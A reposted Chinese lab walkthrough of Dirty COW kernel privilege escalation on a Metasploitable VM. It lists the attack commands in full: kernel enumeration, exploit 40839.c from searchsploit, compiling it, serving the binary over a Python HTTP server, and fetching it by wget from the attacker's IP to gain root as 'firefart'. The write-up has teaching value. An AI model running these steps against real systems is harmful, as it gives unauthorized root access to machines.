内核脏牛提权

news/2024/11/13 18:45:29/文章来源:https://www.cnblogs.com/yxrd/p/18540512

脏牛靶机

已知

  • 靶机账号密码:msfadmin/msfadmin
  • 靶机开启ssh服务

开启靶机获取IP

msfadmin/msfadmin登录

ifconfig	#获取靶机IP

image-20241111192459019

得到靶机IP:192.168.213.247

开启kali ssh链接靶机

直接输入ssh msfadmin@192.168.213.247进行链接会出现报错

出现报错的原因是ssh客户端和服务器之间的主机秘钥类型不匹配。主机秘钥是用来验证服务器身份和建立安全链接的。kali中的ssh版本高,默认不支持ssh-rsa和ssh-dss算法(二者被认为是不安全的)。而靶机可能只提供了这两种算法,导致了无法协商的问题。

此时需要指定算法:

ssh -o HostKeyAlgorithms=+ssh-dss mafadmin@192.168.213.247

image-20241111161717363

输入yes确认链接,输入密码,成功链接到靶机。

内核提权

内核提权步骤:

  1. 对目标系统进行信息收集,获取到系统内核信息及版本信息;
  2. 根据内核版本获取其对应的漏洞及EXP;
  3. 使用找到的EXP对目标系统发起攻击,完成提权操作。

信息收集

uname -a 	#查看系统全部信息

image-20241111161753875

内核版本:linux-2.6.24

id
whoami

image-20241111200312206

msfadmin的普通用户

搜索kali中对应版本的EXP

searchsploit linux kernel 2.6.24

image-20241111162047827

得到EXP列表,一个一个使看是否能漏洞利用。

这里我们使用比较出名的脏牛漏洞Dirty COW来进行提权,可以看到exp为40839.c

将其保存到当前目录下:

searchsploit -m 40839.c

image-20241111162344594

打开.c文件查看注释提示

vim 40839.c

image-20241111163123069

可以得到信息:

  • 需要编译且需要一些参数
    • -pthread:这个选项告诉 GCC 在编译和链接时使用 POSIX 线程库(pthread)。
    • -lcrypt:指向 libcrypt.so(共享库)或 libcrypt.a(静态库)的链接指令,这个库提供了一些加密相关的功能。
  • 运行编译后的二进制文件。

编译exp 并命名为dirty:

gcc -pthread 40839.c -o dirty -lcrypt 

开启http服务,为把编译好的dirty文件上传到靶机做准备:

python -m http.server 8000

image-20241111201455209

重开一个bash查看kali的IP:

image-20241111163553825

kali的IP为192.268.213.131

靶机运行EXP

回到链接目标机的终端进行下载:

wget http://192.268.213.131:8000/dirty

image-20241111163833804

运行EXP:

./dirty

输入新的密码,返回提示显示密码重置成功。

用户名为firefart

image-20241111163907248

切换用户,输入刚刚设置的密码即可获得管理员权限:

su firefart

image-20241111164043006


演示过程有一处不妥:

.c文件是在kali系统编译后上传到靶机中的,可能会出现因为环境不用而导致kali系统中编译的二进制文件无法在靶机中正常运行。所以,更正确做法是将.c文件上传至靶机中,在靶机中编译后运行可以避免因环境导致的问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/831973.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[极客大挑战 2019]Secret

首页什么都没有,查看网页源码,发现有一个链接,提示found除去view-source访问,得到以下页面,点击secret直接查阅结束,没回显flag,依旧在卖关子。使用burp suite抓包获取返回的源码,找到注释中有个文件secr3t.php访问secr3t.php得到代码里说flag在flag.php里,直接访问fl…

今年测试这工资是认真的吗?

在如今的求职市场中,软件测试面试中的“八股文”几乎成为了一种必考内容。所谓“八股文”,指的是一系列标准化的技术面试题目,这些题目涵盖了测试理论、接口自动化测试、测试工具框架、性能测试、项目场景等多个方面...📝 博主首页 : 「码上生花」 ,同名公众号 :「伤心的…

开发人员,千万不要去碰那该死的业务参数,无论什么时候!

你好呀,我是歪歪。 前几天发了一个牢骚:本来只是单纯的吐槽一下,但是好多人对其中的细节比较感兴趣。 大家都是搞技术的嘛,对于“踩 BUG”这种喜闻乐见的事情,有兴趣是很正常的。 其实我这个 BUG,其实严格意义上不能叫做 BUG,因为和程序无关,甚至和技术的关系都不算大。…

java小课设:使用MySQL做一个聊天室

bro是个懒狗,耗时一个晚上,只写了一些基础功能,其他的可以根据需要自己添加实现思路:在MySQL数据库中设置一个message表,用来存储聊天信息,聊天界面输入的内容写入message表,用户程序每秒从MySQL中获取一次聊天记录,并加载进入自己的页面,实现聊天室。食用方法: Chat…

Quartz集群增强版_00.How to use?(如何使用)

Quartz集群增强版_00.How to use?(如何使用)转载请著名出处 https://www.cnblogs.com/funnyzpc/p/18540378开源地址 https://github.com/funnyzpc/quartz 表的基本结构 总的来说任务的配置及开发基本遵从上图的表的基本关系,除 app 以及 node 之外均需要手动手动配置,app…

开源三代示波器的高速波形刷新方案开源,支持VNC远程桌面,手机,Pad,电脑均可访问(2024-11-11)

说明: 1、本来这段时间是一年一度Hackaday硬件设计开源盛宴,但hackaday电子大赛在去年终结了。所以我开源个我的吧。 2、三代示波器的高速波形刷新方案,前两年就做好了,这两年忙H7-TOOL的更新比较多,三代示波器的更新就搁置了。但刷新方案是没问题的,开源分享给大家。 3、…

PSQL 环境安装配置

准备工作:安装包 plsqldev1400x64.msi 注册码 汉化包 chinese.exe 轻量级数据 instantclient_11_2 安装【PSQL】第一步大法操作! 默认的安装路径:C:\Program Files\PLSQL Developer 14安装【轻量级 instantclient_11_2】 复制或解压到 C:\Program Files\PLSQL Developer…

零声QT学习 一

int main(int argc, char *argv[]) {QApplication a(argc, argv);//QApplication a(argc, argv),针对QWidget应用程序,管理和设置Qt程序的运行//QGuiApplication a(argc, argv),针对非QWidget应用程序,如QQuick//QcoreApplication a(argc, argv),针对无界面的应用程序MainWindo…

【教程】第四章:任务与评论插件 —— 如虎添翼,顺利掌握

一起在 NocoBase 中创造精彩应用!这些教程将通过手把手的操作,帮助你全面掌握核心功能,激发灵感,打造并分享满足多样需求的应用。回顾上一节 小伙伴们还记得上一节的挑战任务吗?我们要为任务表配置 状态 和 附件 字段,并在任务列表里展示它们。别急,咱们先揭晓答案!状态…

wsl2踩坑日记(配置代理/zsh+p10k/Neovim)

1. proxy wsl --install Ubuntu-24.04 安装好 wsl 之后,测试了一下 v2rayN 的代理能不能正常使用(用 vultr 服务器搭建的校园网 ipv6 免流),发现可以 curl www.google.com,但是 sudo apt-get update 报错 Clearsigned file isnt valid, got NOSPLIT (does the network req…

基于MIMO系统的SDR-AltMin混合预编码算法matlab性能仿真

1.算法仿真效果 matlab2022a仿真结果如下(完整代码运行后无水印): 仿真操作步骤可参考程序配套的操作视频。2.算法涉及理论知识概要基于MIMO(Multiple-Input Multiple-Output)系统的SDR-AltMin混合预编码算法是一种先进的无线通信技术,它结合了凸优化和交替最小化技术来…

前端技术对html中块级元素的学习

块级元素目录块级元素列表元素有序列表无序列表自定义列表 列表元素 有序列表 在 HTML 中, 标签用来表示有序列表。有序列表之间的内容有先后顺序之分,例如菜谱中的一系列步骤,这些步骤需要按顺序完成,这时就可以使用有序列表。 我们来看一个简单的实例: <!DOCTYPE ht…